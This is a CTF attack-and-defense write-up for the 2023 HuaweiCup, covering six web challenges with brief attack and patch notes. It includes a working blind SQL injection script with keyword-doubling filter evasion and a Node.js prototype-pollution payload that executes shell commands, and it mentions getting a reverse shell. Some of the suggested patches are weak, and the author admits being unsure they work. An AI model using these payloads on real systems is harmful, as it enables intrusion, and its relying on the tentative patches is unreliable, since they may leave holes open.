2023 HuaweiCup

2023 HuaweiCup

Constellation_query

Attack

An easy SSTI blind injection. (However, I have cleaned my exp after the contest…)

Patch

I think it is just changing render_template_string to render_template, but i failed TwT

Maybe it’s the problem of restarting the server?

include_shell

Attack

Easy SQL injection and include rce.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://192.168.18.28/login.php"

password = "admin' oorr asasciicii(substr((selselectect passwoorrd frfromom user WHERE username = 'admin'),{id},1))={ch}-- "

flag = ""

for id in range(1, 32):
for ch in range(127, 1, -1):
# print(ch)
res = requests.post(url, data={"username": "admin", "password": password.format(id=id, ch=ch)})
if "admin.html" in res.text:
flag = flag + chr(ch)
print(flag)

Patch

In the case of sql injection, I think we can use while to remove the dangerous keyword.

In the case of LFI, I think we can filter the /.

But I didn’t know that update.sh is executed in /var/www/html, and the PHP file I patched is in /update, so I don’t know if this works or not.

read_article

Attack

Let article_id to be ../app.py to read the source code and there exists a pickle deserialization in /shell01

Patch

Can I just ban the pickle.loads?.

Oddly_Sordid_Command

attack

Use X-Forwarded-For to bypass the ctx.RemoteAddr() and use strings and ? to read the flag.

Patch

I don’t know how to patch the XFF problem, but we can patch the exec.Command.

cmd, _ := exec.Command("figlet", str).Output()

ezgo

Attack

This problem use gorm.io/driver/sqlite to handle the SQLite.

However, it has a weird feature in its Where method. That is, if we pass a blank value to the gorm, it will ignore the specific limitation!

So let’s check the login function

1
2
3
4
5
6
7
8
9
10
11
12
13
func login(c *gin.Context) {
username := c.PostForm("username")
password := c.PostForm("password")
token := c.PostForm("token")

user := &User{}
err := db.Where(&User{UserName: username, Password: password, Token: token}).First(&user).Error
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"msg": "登录失败"})
return
}
c.JSON(http.StatusOK, gin.H{"msg": "登录成功", "user": user})
}

If we just post login=admin, it will let us login as admin and give us its token.

Next we can use .shell command to reverse shell.

Patch

Maybe we can filter the password="" and token==""

1
2
3
4
if password == "" || token == "" {
c.JSON(http.StatusInternalServerError, gin.H{"msg": "登录失败"})
return
}

imgupl0ad

Attack

Node18 native Prototype Pollution.

1
2
3
4
5
6
7
8
9
10
11
{
"prototype": {
"constructor": {
"shell": "/proc/self/exe",
"argv0":
"console.log(require('child_process').execSync('cp /flag
/app/public/flag').toString())//",
"NODE_OPTIONS": "--require /proc/self/cmdline"
}
}
}

Patch

Filter the prototype and constructor

Reference

Thanks P4d0rn for teaching me these!